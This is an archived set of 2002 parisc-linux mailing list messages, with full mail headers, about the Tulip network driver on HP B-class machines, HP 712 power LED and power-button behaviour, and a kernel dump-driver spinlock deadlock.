X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 14 21:48:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 9DA08484F; Thu, 14 Feb 2002 21:48:36 -0700 (MST)
In-Reply-To: Message from "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com> 
   of "Wed, 13 Feb 2002 19:18:37 +0100." <OF06B7B721.64C3D9E9-ONC1256B5F.0063DC45@com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14052

"=?iso-8859-1?Q?Jo=EBl_Soete?=" wrote:
> Sorry first for delay.
> 
> Sorry also if I desapoint you but "CONFIG_TULIP_MMIO=y" works for my b180
> (afaik same HW than b132l+ but processor clock?) with last k-2.4.17-pa23:

Disappointed?! are you kidding?! This is great! :^)

> ...
> RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
> loop: loaded (max 8 devices)
> Linux Tulip driver version 0.9.15-pre9 (Nov 6, 2001)
> tulip0: no phy info, aborting mtable build
> tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
> eth0: Digital DS21143 Tulip rev 65 at 0xf0fff000, 00:10:83:65:09:4B, IRQ
> 96.

Is this output from B132L with card-mode Dino?
or with built-in 21143 on B180L?

Just curious....

thanks,
grant



From - Thu Nov 08 21:21:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James S" <smith-james@home.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Power LED
Date: Fri, 15 Feb 2002 00:08:56 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <000f01c1b5de$dee4fa80$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621068 3118 80.91.229.3 (22 Nov 2014 01:51:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:08 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 14 22:08:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from femail11.sdc1.sfba.home.com (femail11.sdc1.sfba.home.com [24.0.95.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 10C174854
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Feb 2002 22:08:59 -0700 (MST)
Original-Received: from kenny ([68.58.113.28]) by femail11.sdc1.sfba.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP
          id <20020215050857.ZEAO25318.femail11.sdc1.sfba.home.com@kenny>
          for <parisc-linux@lists.parisc-linux.org>;
          Thu, 14 Feb 2002 21:08:57 -0800
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14053

this might be a daft question.......


what causes the power led to go out on the 712 systems ?

is it software controlled ?



James S






From - Thu Nov 08 21:21:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power LED
Date: Thu, 14 Feb 2002 23:14:07 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20020215061407.C59564852@dsl2.external.hp.com>
References: <000f01c1b5de$dee4fa80$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621068 3126 80.91.229.3 (22 Nov 2014 01:51:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "James S" <smith-james@home.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 14 23:14:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C59564852; Thu, 14 Feb 2002 23:14:07 -0700 (MST)
In-Reply-To: Message from "James S" <smith-james@home.com> 
   of "Fri, 15 Feb 2002 00:08:56 EST." <000f01c1b5de$dee4fa80$02c1a8c0@james.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14054

"James S" wrote:
> what causes the power led to go out on the 712 systems ?
> is it software controlled ?

I don't think so.
The power button is under software control but I think
the LED is wired to the power supply directly.

grant



From - Thu Nov 08 21:21:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Pb with dump driver.
Date: Thu, 14 Feb 2002 23:43:52 -0700
Lines: 54
Approved: news@gmane.org
Message-ID: <20020215064352.86A404858@dsl2.external.hp.com>
References: <3C6AA3C3.D21C4164@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621068 3129 80.91.229.3 (22 Nov 2014 01:51:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:08 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 14 23:43:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 86A404858; Thu, 14 Feb 2002 23:43:52 -0700 (MST)
In-Reply-To: Message from Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com> 
   of "Wed, 13 Feb 2002 18:34:59 +0100." <3C6AA3C3.D21C4164@admin.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14055

Bruno Vidal wrote:
> but at the first try to write on the dump device if "sleep"
> forever in "brw_kiovec". I'm pretty sure that it comes from
> a spinlock deadlock. So I'm looking for someone who is able
> to explain the "data page fault" function. 

Have you considered using IODC to write out the data
instead of using OS code?

It would avoid much of the ugliness of spinlocks still
held in the IO or VM code.

> For me it is the signal 15 in function handle_interruption() 
> of traps.c. If it is the space 0 (kernel space), it call 
> parisc_terminate(), that call dump() (my funtion). But in dump 
> I use a buffer, and I use this buffer with "brw_kiovec". So I 
> think that "brw_kiovec" do a page_fault somewhere, but because 
> the previous page_fault fail, there is still a spinlock somewhere.

If you TOC the system, you should see the code was spinning
on a ldcw instruction.  either IOAQ should point to the
function and the address referenced by ldcw should be
visible in System.map.

> Can someone help on this issue ?

Once we know either (offending code location or which
spinlock), we can start looking at code to figure out
what the problem is.


In the next mail:
| Another thing that can produce this behavior is the interruption mask.
| When calling the do_page_fault, what it the interruption mask ?

I believe PSW_I bit is off. EIEM is irrelevant at this point.
See entry.S where it calls handle_interruption.

| I think it is high enough to mask SCSI interruption?
| When is it reset back ?

See "do_cpu_irq_mask()" (arch/parisc/kernel/irq.c).
SCSI interrupt as an "External Interrupt" and remains masked in the EIEM
even after PSW_I bit is set. No interrupts from anything using the masked
EIR bit will be processed until we exit do_cpu_irq_mask(). If that
gets interrupted by a page fault or something, using that driver
is toast until we reset the EIEM registers of all cpus....another
reason to use IODC since it doesn't use interrupts for
processing.

thanks,
grant



From - Thu Nov 08 21:21:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: kernel-2.4.17-pa22 boot problem B132L+ with serial
Date: Fri, 15 Feb 2002 07:46:19 +0100
Lines: 86
Approved: news@gmane.org
Message-ID: <OFCD5822D4.246FA364-ONC1256B61.0024B267@com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621069 3131 80.91.229.3 (22 Nov 2014 01:51:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 14 23:51:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id CDB02485D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Feb 2002 23:51:06 -0700 (MST)
Original-Received: from mastercard.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d59152e7d2a@epirel991.europay.com>;
 Fri, 15 Feb 2002 07:50:57 +0100
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.8 |June 18, 2001) at
 02/15/2002 07:56:51 AM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14056

Hi Grant,

> Disappointed?! are you kidding?! This is great! :^)

Nice ("disapointing" was just a joke) :-) )

>> ...
>> RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
>> loop: loaded (max 8 devices)
>> Linux Tulip driver version 0.9.15-pre9 (Nov 6, 2001)
>> tulip0: no phy info, aborting mtable build
>> tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
>> eth0: Digital DS21143 Tulip rev 65 at 0xf0fff000, 00:10:83:65:09:4B, IRQ
>> 96.

> Is this output from B132L with card-mode Dino?
> or with built-in 21143 on B180L?

It was "built-in 21143 on B180L" (is there a difference here between b180
and b132?)

Joel




                                                                           =
                                               =20
                    Grant Grundler                                         =
                                               =20
                    <grundler@dsl2.extern        To:     "Jo=EBl Soete" <js=
o@europay.com>                                   =20
                    al.hp.com>                   cc:     parisc-linux@lists=
.parisc-linux.org                              =20
                                                 Subject:     Re: kernel-2.=
4.17-pa22 boot problem B132L+ with serial      =20
                    15-02-02 05:48 AM                                      =
                                               =20
                                                                           =
                                               =20
                                                                           =
                                               =20




"=3D?iso-8859-1?Q?Jo=3DEBl_Soete?=3D" wrote:
> Sorry first for delay.
>
> Sorry also if I desapoint you but "CONFIG_TULIP_MMIO=3Dy" works for my b1=
80
> (afaik same HW than b132l+ but processor clock?) with last k-2.4.17-pa23:

Disappointed?! are you kidding?! This is great! :^)

> ...
> RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
> loop: loaded (max 8 devices)
> Linux Tulip driver version 0.9.15-pre9 (Nov 6, 2001)
> tulip0: no phy info, aborting mtable build
> tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
> eth0: Digital DS21143 Tulip rev 65 at 0xf0fff000, 00:10:83:65:09:4B, IRQ
> 96.

Is this output from B132L with card-mode Dino?
or with built-in 21143 on B180L?

Just curious....

thanks,
grant






**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************



From - Thu Nov 08 21:21:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: kernel-2.4.17-pa22 boot problem B132L+ with serial
Date: Thu, 14 Feb 2002 23:55:53 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20020215065553.945774861@dsl2.external.hp.com>
References: <OFCD5822D4.246FA364-ONC1256B61.0024B267@com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621069 3136 80.91.229.3 (22 Nov 2014 01:51:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 14 23:55:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 945774861; Thu, 14 Feb 2002 23:55:53 -0700 (MST)
In-Reply-To: Message from "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com> 
   of "Fri, 15 Feb 2002 07:46:19 +0100." <OFCD5822D4.246FA364-ONC1256B61.0024B267@com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14057

"=?iso-8859-1?Q?Jo=EBl_Soete?=" wrote:
> It was "built-in 21143 on B180L" (is there a difference here between b180
> and b132?)

Yes. I don't think B132L had 100BT built-in.
But I'm too lazy to check hwdb.parisc-linux.org right now.
Bed time.

grant



From - Thu Nov 08 21:21:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James S" <smith-james@home.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power LED
Date: Fri, 15 Feb 2002 02:02:19 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <002101c1b5ee$b5f8a620$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621069 3139 80.91.229.3 (22 Nov 2014 01:51:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:09 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 15 00:02:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from femail11.sdc1.sfba.home.com (femail11.sdc1.sfba.home.com [24.0.95.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5C3AD4865
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Feb 2002 00:02:21 -0700 (MST)
Original-Received: from kenny ([68.58.113.28]) by femail11.sdc1.sfba.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP
          id <20020215070220.CSDO25318.femail11.sdc1.sfba.home.com@kenny>
          for <parisc-linux@lists.parisc-linux.org>;
          Thu, 14 Feb 2002 23:02:20 -0800
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14058

>> what causes the power led to go out on the 712 systems ?
>> is it software controlled ?
>
>I don't think so.
>The power button is under software control but I think
>the LED is wired to the power supply directly.
>
>grant

was just wondering - mine goes out after the system starts loading - flashes
before that

when it had hp-ux on it, it stayed on

another question...

is it possible to hook the power button to the shutdown command like it is
in hp-ux ?

Thanks

James S






From - Thu Nov 08 21:21:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power LED
Date: Thu, 14 Feb 2002 23:13:12 -0800
Lines: 46
Approved: news@gmane.org
Message-ID: <20020214231312.37ca1c9e.csuder@cisco.com>
References: <002101c1b5ee$b5f8a620$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621070 3155 80.91.229.3 (22 Nov 2014 01:51:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "James S" <smith-james@home.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 15 00:13:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4933E485B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Feb 2002 00:13:17 -0700 (MST)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id g1F7DFh26595;
	Thu, 14 Feb 2002 23:13:15 -0800 (PST)
Original-Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with SMTP id ACA97528;
	Thu, 14 Feb 2002 23:13:24 -0800 (PST)
In-Reply-To: <002101c1b5ee$b5f8a620$02c1a8c0@james.co.uk>
X-Mailer: Sylpheed version 0.7.0claws57 (GTK+ 1.2.10; hppa-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14059

On Fri, 15 Feb 2002 02:02:19 -0500
"James S" <smith-james@home.com> wrote:

> >> what causes the power led to go out on the 712 systems ?
> >> is it software controlled ?
> >
> >I don't think so.
> >The power button is under software control but I think
> >the LED is wired to the power supply directly.
> >
> >grant
> 
> was just wondering - mine goes out after the system starts loading -
> flashes before that
> 
> when it had hp-ux on it, it stayed on
> 
> another question...
> 
> is it possible to hook the power button to the shutdown command like it
> is in hp-ux ?

The LED and the powerswitch work as expected on my 712/80 at least since
the 0.9.3 ISO timeframe. I remember the LED was not working at some point
in the past, though,

	Christian 





> 
> Thanks
> 
> James S
> 
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:21:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power LED
Date: Fri, 15 Feb 2002 08:26:57 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <200202150826.29543.deller@gmx.de>
References: <002101c1b5ee$b5f8a620$02c1a8c0@james.co.uk> <20020214231312.37ca1c9e.csuder@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621070 3167 80.91.229.3 (22 Nov 2014 01:51:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christian Suder <csuder@cisco.com>,
	"James S" <smith-james@home.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 15 00:30:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 36FC4485C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Feb 2002 00:30:31 -0700 (MST)
Original-Received: (qmail 22896 invoked by uid 0); 15 Feb 2002 07:30:24 -0000
Original-Received: from pd9040594.dip.t-dialin.net (HELO P100) (217.4.5.148)
  by mail.gmx.net (mp005-rz3) with SMTP; 15 Feb 2002 07:30:24 -0000
X-Mailer: KMail [version 1.3.9]
In-Reply-To: <20020214231312.37ca1c9e.csuder@cisco.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14060

On Friday 15 February 2002 08:13, Christian Suder wrote:
> On Fri, 15 Feb 2002 02:02:19 -0500
> "James S" <smith-james@home.com> wrote:
> > is it possible to hook the power button to the shutdown command like it
> > is in hp-ux ?
>
> The LED and the powerswitch work as expected on my 712/80 at least since
> the 0.9.3 ISO timeframe. 

It depends.
I know the power button works correctly on my c3000 and 715/64. Both
systems shuts down the computer cleanly.
But on another Apollo/50 machine (712/50 or 715/50 - I don't remember) 
pressing the power-button turns off the machine immediately. This is a bug
and should be fixed if possible.

Helge



From - Thu Nov 08 21:21:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power LED
Date: Fri, 15 Feb 2002 07:19:04 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20020215071904.GA29584@sleepie.demon.co.uk>
References: <002101c1b5ee$b5f8a620$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
